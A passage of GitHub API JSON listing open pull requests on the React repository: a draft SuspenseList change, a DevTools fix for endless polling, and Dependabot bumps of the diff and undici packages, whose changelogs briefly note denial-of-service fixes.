"https://api.github.com/repos/facebook/react/pulls/35538/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/9e62622539a5502057aab8176fdae153105a7b20" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35517", "id": 3178147991, "node_id": "PR_kwDOAJy2Ks69brCX", "number": 35517, "state": "open", "locked": false, "title": "[Fizz] Start adding template tags to SuspenseList", "user": { "login": "sebmarkbage", "id": 63648, "node_id": "MDQ6VXNlcjYzNjQ4", "avatar_url": "https://avatars.githubusercontent.com/u/63648?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sebmarkbage", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Stacked on #35191.\r\n\r\nEarly draft.", "created_at": "2026-01-15T17:28:15Z", "updated_at": "2026-01-16T01:56:01Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "27b7472c7cedddcf93622e247c5b88f334d4ee1f", "assignees": {}, "requested_reviewers": { "0": { "login": "gnoff", "id": 2716369, "node_id": "MDQ6VXNlcjI3MTYzNjk=", "avatar_url": "https://avatars.githubusercontent.com/u/2716369?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gnoff", "type": "User", "user_view_type": "public", "site_admin": false } }, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "milestone": null, "draft": true, "head": { "label": "sebmarkbage:suspenselist2", "ref": "suspenselist2", "sha": "d5ffec169f90097f8451754e9359537c77a94919", "user": { "login": "sebmarkbage", "id": 63648, "node_id": "MDQ6VXNlcjYzNjQ4", "avatar_url": "https://avatars.githubusercontent.com/u/63648?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sebmarkbage", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10374314, "node_id": "MDEwOlJlcG9zaXRvcnkxMDM3NDMxNA==", "name": "react", "full_name": "sebmarkbage/react", "private": false, "owner": { "login": "sebmarkbage", "id": 63648, "node_id": "MDQ6VXNlcjYzNjQ4", "avatar_url": "https://avatars.githubusercontent.com/u/63648?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sebmarkbage", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "React is a JavaScript library for building user interfaces.", "fork": true, "url": "https://api.github.com/repos/sebmarkbage/react", "created_at": "2013-05-30T03:09:16Z", "updated_at": "2026-01-12T08:25:17Z", "pushed_at": "2026-01-21T03:29:10Z", "homepage": "http://facebook.github.io/react/", "size": 129454, "stargazers_count": 25, "watchers_count": 25, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": true, "has_pages": false, "has_discussions": false, "forks_count": 7, "archived": false, "disabled": false, "open_issues_count": 1, "license": { "key": "apache-2.0", "name": "Apache License 2.0", "spdx_id": "Apache-2.0", "url": "https://api.github.com/licenses/apache-2.0", "node_id": "MDc6TGljZW5zZTI=" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 7, "open_issues": 1, "watchers": 25, "default_branch": "master" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "4cf906380d5d3282f1df3c8c34cf642e86a3a0a3", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35517" }, "html": { "href": "https://github.com/facebook/react/pull/35517" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35517" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35517/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35517/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35517/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/d5ffec169f90097f8451754e9359537c77a94919" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35516", "id": 3177819857, "node_id": "PR_kwDOAJy2Ks69aa7R", "number": 35516, "state": "open", "locked": false, "title": "[DevTools] Fix high CPU usage on pages without React (#35515)", "user": { "login": "CarlosEduJs", "id": 180333139, "node_id": "U_kgDOCr-qUw", "avatar_url": "https://avatars.githubusercontent.com/u/180333139?v=4", "gravatar_id": "", "url": "https://api.github.com/users/CarlosEduJs", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\n\r\n- Fixes high CPU usage in React DevTools when browsing pages without React (e.g., Google Search results).\r\n\r\n- Motivation: The content script was polling indefinitely with setInterval, sending \"hello\" messages every 500ms to detect React. On pages without React, this loop never stopped, causing high CPU usage and battery drain.\r\n\r\n- Solution: Added a maximum retry limit of 10 attempts (~5 seconds). After this timeout, the polling stops automatically on pages without React, while still allowing enough time for slow-loading React apps to initialize.\r\n\r\nHow did you test this change?\r\n# Manual Testing\r\n\r\nBuilt and tested the extension on both Chrome and Firefox:\r\n\r\n- Chrome:\r\n\r\n - Built extension: yarn build:chrome:local\r\n - Loaded unpacked extension in chrome://extensions/\r\n - Tested on Google Search (non-React page)\r\n - Monitored messages in DevTools Console\r\n\r\n- Firefox:\r\n\r\n - Built extension: yarn build:firefox:local\r\n - Loaded temporary add-on in about:debugging\r\n - Tested on Google Search (non-React page)\r\n - Monitored messages in DevTools Console\r\n\r\n## Results\r\n### Before fix:\r\n - 100+ \"hello\" messages sent continuously\r\n - High CPU usage reported by users\r\n\r\n### After fix:\r\n\r\n - Stops after 7-10 messages (~5 seconds)\r\n - No more infinite polling\r\n - React pages (react.dev) still work correctly\r\n - Code Quality Checks\r\n - yarn prettier - Passed\r\n - yarn linc - Passed (lint for changed files)\r\n - yarn flow dom-node - Passed\r\n\r\nScreenshot:\r\n![fixed bug in dev tools](https://github.com/user-attachments/assets/0d232fcf-d480-416f-8308-2345a422d65b)\r\n\r\n\r\nChecklist\r\n- [x] Fork the repository and create branch from main\r\n- [x] Run yarn in the repository root\r\n- [x] Code formatted with prettier (yarn prettier)\r\n- [x] Code lints (yarn linc)\r\n- [x] Flow type checks pass (yarn flow dom-node)\r\n- [x] Tested manually on Chrome and Firefox\r\n\r\n## Related Issue\r\n- Fixes #35515", "created_at": "2026-01-15T15:46:31Z", "updated_at": "2026-01-16T02:49:47Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "7f9c28fdbaba38fa4216018e4057514cecacfc41", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "CarlosEduJs:fix/content-script-loop", "ref": "fix/content-script-loop", "sha": "11f5691d48f95eb346fade4f1f014bf8a6a2efa3", "user": { "login": "CarlosEduJs", "id": 180333139, "node_id": "U_kgDOCr-qUw", "avatar_url": "https://avatars.githubusercontent.com/u/180333139?v=4", "gravatar_id": "", "url": "https://api.github.com/users/CarlosEduJs", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1135021156, "node_id": "R_kgDOQ6cMZA", "name": "react", "full_name": "CarlosEduJs/react", "private": false, "owner": { "login": "CarlosEduJs", "id": 180333139, "node_id": "U_kgDOCr-qUw", "avatar_url": "https://avatars.githubusercontent.com/u/180333139?v=4", "gravatar_id": "", "url": "https://api.github.com/users/CarlosEduJs", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/CarlosEduJs/react", "created_at": "2026-01-15T14:31:10Z", "updated_at": "2026-01-15T16:14:30Z", "pushed_at": "2026-01-16T02:34:43Z", "homepage": "https://react.dev", "size": 123873, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "bb8a76c6cc77ea2976d690ea09f5a1b3d9b1792a", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35516" }, "html": { "href": "https://github.com/facebook/react/pull/35516" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35516" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35516/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35516/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35516/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/11f5691d48f95eb346fade4f1f014bf8a6a2efa3" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 35515 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35514", "id": 3176032289, "node_id": "PR_kwDOAJy2Ks69Tmgh", "number": 35514, "state": "open", "locked": false, "title": "Bump diff from 3.5.0 to 8.0.3 in /scripts/release", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [diff](https://github.com/kpdecker/jsdiff) from 3.5.0 to 8.0.3.\n
\nChangelog\n

Sourced from diff's changelog.

\n
\n

8.0.3

\n
    \n
  • #631 - fix support for using an Intl.Segmenter with diffWords. This has been almost completely broken since the feature was added in v6.0.0, since it would outright crash on any text that featured two consecutive newlines between a pair of words (a very common case).
  • \n
  • #635 - small tweaks to tokenization behaviour of diffWords when used without an Intl.Segmenter. Specifically, the soft hyphen (U+00AD) is no longer considered to be a word break, and the multiplication and division signs (× and ÷) are now treated as punctuation instead of as letters / word characters.
  • \n
  • #641 - the format of file headers in createPatch etc. patches can now be customised somewhat. It now takes a headerOptions option that can be used to disable the file headers entirely, or omit the Index: line and/or the underline. In particular, this was motivated by a request to make jsdiff patches compatible with react-diff-view, which they now are if produced with headerOptions: FILE_HEADERS_ONLY.
  • \n
  • #647 and #649 - fix denial-of-service vulnerabilities in parsePatch whereby adversarial input could cause a memory-leaking infinite loop, typically crashing the calling process. Also fixed ReDOS vulnerabilities whereby adversarially-crafted patch headers could take cubic time to parse. Now, parsePatch should reliably take linear time. (Handling of headers that include the line break characters \\r, \\u2028, or \\u2029 in non-trailing positions is also now more reasonable as side effect of the fix.)
  • \n
\n

8.0.2

\n
    \n
  • #616 Restored compatibility of diffSentences with old Safari versions. This was broken in 8.0.0 by the introduction of a regex with a lookbehind assertion; these weren't supported in Safari prior to version 16.4.
  • \n
  • #612 Improved tree shakeability by marking the built CJS and ESM packages with sideEffects: false.
  • \n
\n

8.0.1

\n
    \n
  • #610 Fixes types for diffJson which were broken by 8.0.0. The new bundled types in 8.0.0 only allowed diffJson to be passed string arguments, but it should've been possible to pass either strings or objects (and now is). Thanks to Josh Kelley for the fix.
  • \n
\n

8.0.0

\n
    \n
  • #580 Multiple tweaks to diffSentences:\n
      \n
    • tokenization no longer takes quadratic time on pathological inputs (reported as a ReDOS vulnerability by Snyk); is now linear instead
    • \n
    • the final sentence in the string is now handled the same by the tokenizer regardless of whether it has a trailing punctuation mark or not. (Previously, "foo. bar." tokenized to ["foo.", " ", "bar."] but "foo. bar" tokenized to ["foo.", " bar"] - i.e. whether the space between sentences was treated as a separate token depended upon whether the final sentence had trailing punctuation or not. This was arbitrary and surprising; it is no longer the case.)
    • \n
    • in a string that starts with a sentence end, like "! hello.", the "!" is now treated as a separate sentence
    • \n
    • the README now correctly documents the tokenization behaviour (it was wrong before)
    • \n
    \n
  • \n
  • #581 - fixed some regex operations used for tokenization in diffWords taking O(n^2) time in pathological cases
  • \n
  • #595 - fixed a crash in patch creation functions when handling a single hunk consisting of a very large number (e.g. >130k) of lines. (This was caused by spreading indefinitely-large arrays to .push() using .apply or the spread operator and hitting the JS-implementation-specific limit on the maximum number of arguments to a function, as shown at https://stackoverflow.com/a/56809779/1709587; thus the exact threshold to hit the error will depend on the environment in which you were running JsDiff.)
  • \n
  • #596 - removed the merge function. Previously JsDiff included an undocumented function called merge that was meant to, in some sense, merge patches. It had at least a couple of serious bugs that could lead to it returning unambiguously wrong results, and it was difficult to simply "fix" because it was unclear precisely what it was meant to do. For now, the fix is to remove it entirely.
  • \n
  • #591 - JsDiff's source code has been rewritten in TypeScript. This change entails the following changes for end users:\n
      \n
    • \n

      the diff package on npm now includes its own TypeScript type definitions. Users who previously used the @types/diff npm package from DefinitelyTyped should remove that dependency when upgrading JsDiff to v8.

      \n

      Note that the transition from the DefinitelyTyped types to JsDiff's own type definitions includes multiple fixes and also removes many exported types previously used for options arguments to diffing and patch-generation functions. (There are now different exported options types for abortable calls - ones with a timeout or maxEditLength that may give a result of undefined - and non-abortable calls.) See the TypeScript section of the README for some usage tips.

      \n
    • \n
    • \n

      The Diff object is now a class. Custom extensions of Diff, as described in the "Defining custom diffing behaviors" section of the README, can therefore now be done by writing a class CustomDiff extends Diff and overriding methods, instead of the old way based on prototype inheritance. (I think code that did things the old way should still work, though!)

      \n
    • \n
    • \n

      diff/lib/index.es6.js and diff/lib/index.mjs no longer exist, and the ESM version of the library is no longer bundled into a single file.

      \n
    • \n
    • \n

      The ignoreWhitespace option for diffWords is no longer included in the type declarations. The effect of passing ignoreWhitespace: true has always been to make diffWords just call diffWordsWithSpace instead, which was confusing, because that behaviour doesn't seem properly described as "ignoring" whitespace at all. The property remains available to non-TypeScript applications for the sake of backwards compatibility, but TypeScript applications will now see a type error if they try to pass ignoreWhitespace: true to diffWords and should change their code to call diffWordsWithSpace instead.

      \n
    • \n
    • \n

      JsDiff no longer purports to support ES3 environments. (I'm pretty sure it never truly did, despite claiming to in its README, since even the 1.0.0 release used Array.map which was added in ES5.)

      \n
    • \n
    \n
  • \n
  • #601 - diffJson's stringifyReplacer option behaves more like JSON.stringify's replacer argument now. In particular:\n
      \n
    • Each key/value pair now gets passed through the replacer once instead of twice
    • \n
    • The key passed to the replacer when the top-level object is passed in as value is now "" (previously, was undefined), and the key passed with an array element is the array index as a string, like "0" or "1" (previously was whatever the key for the entire array was). Both the new behaviours match that of JSON.stringify.
    • \n
    \n
  • \n
  • #602 - diffing functions now consistently return undefined when called in async mode (i.e. with a callback). Previously, there was an odd quirk where they would return true if the strings being diffed were equal and undefined otherwise.
  • \n
\n

7.0.0

\n

Just a single (breaking) bugfix, undoing a behaviour change introduced accidentally in 6.0.0:

\n
    \n
  • #554 diffWords treats numbers and underscores as word characters again. This behaviour was broken in v6.0.0.
  • \n
\n

6.0.0

\n\n
\n

... (truncated)

\n
\n
\nCommits\n
    \n
  • 13576bf 8.0.3 release (#652)
  • \n
  • 1179ccb Ignore .zed (#651)
  • \n
  • 949d6e2 Add test for the vuln I just fixed (#650)
  • \n
  • 15a1585 Fix the second denial-of-service vulnerability in parsePatch (#649)
  • \n
  • de95cca Fix potentially cubic-time regex in parsePatch (#647)
  • \n
  • b9aeede Allow more customisation of file headers in patches (#641)
  • \n
  • 43c716c Merge pull request #636 from kpdecker/dependabot/npm_and_yarn/node-forge-1.3.2
  • \n
  • b8162c7 Bump node-forge from 1.3.1 to 1.3.2
  • \n
  • ad6dc17 Fix some bugs in the diffWords regex (and errors & ambiguities in the comment...
  • \n
  • 3e1774a Fix a comment typo (#633)
  • \n
  • Additional commits viewable in compare view
  • \n
\n
\n
\nMaintainer changes\n

This version was pushed to npm by explodingcabbage, a new releaser for diff since your current version.

\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=diff&package-manager=npm_and_yarn&previous-version=3.5.0&new-version=8.0.3)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2026-01-15T05:25:51Z", "updated_at": "2026-01-15T11:34:19Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "b4ba76639f6ca7ff956a74859584642b69dd6648", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/scripts/release/diff-8.0.3", "ref": "dependabot/npm_and_yarn/scripts/release/diff-8.0.3", "sha": "32b4a1d2f087498ed559358a26e600946e8222e9", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "4a3d993e52fd6bcadd9c3029c75df3c22684f69c", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35514" }, "html": { "href": "https://github.com/facebook/react/pull/35514" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35514" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35514/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35514/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35514/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/32b4a1d2f087498ed559358a26e600946e8222e9" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 6, 5 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35512", "id": 3175487363, "node_id": "PR_kwDOAJy2Ks69RheD", "number": 35512, "state": "open", "locked": false, "title": "Bump undici from 6.21.2 to 6.23.0 in /compiler", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [undici](https://github.com/nodejs/undici) from 6.21.2 to 6.23.0.\n
\nRelease notes\n

Sourced from undici's releases.

\n
\n

v6.23.0

\n

⚠️ Security Release

\n

This fixes https://github.com/nodejs/undici/security/advisories/GHSA-g9mf-h72j-4rw9 and CVE-2026-22036.

\n

Full Changelog: https://github.com/nodejs/undici/compare/v6.22.0...v6.23.0

\n

v6.22.0

\n

What's Changed

\n\n

Full Changelog: https://github.com/nodejs/undici/compare/v6.21.3...v6.22.0

\n

v6.21.3

\n

What's Changed

\n\n

Full Changelog: https://github.com/nodejs/undici/compare/v6.21.2...v6.21.3

\n
\n
\n
\nCommits\n
    \n
  • fbc31e2 Bumped v6.23.0
  • \n
  • 3477c94 chore: release flow using provenance
  • \n
  • d3aafea fix: limit Content-Encoding chain to 5 to prevent resource exhaustion
  • \n
  • f9c9185 Bumped v6.22.0
  • \n
  • f670f2a feat: make UndiciErrors reliable to instanceof (#4472) (#4480)
  • \n
  • 422e397 feat(ProxyAgent) improve Curl-y behavior in HTTP->HTTP Proxy connections (#41...
  • \n
  • 4a06ffe feat(ProxyAgent): match Curl behavior in HTTP->HTTP Proxy connections (#4180)...
  • \n
  • 4cb3974 fix: fix EnvHttpProxyAgent for the Node.js bundle (#4064) (#4432)
  • \n
  • 44c23e5 fix: fix wrong stream canceled up after cloning (v6) (#4414)
  • \n
  • da0e823 Bumped v6.21.4
  • \n
  • Additional commits viewable in compare view
  • \n
\n
\n
\nMaintainer changes\n

This version was pushed to npm by [GitHub Actions](https://www.npmjs.com/~GitHub Actions), a new releaser for undici since your current version.

\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=undici&package-manager=npm_and_yarn&previous-version=6.21.2&new-version=6.23.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
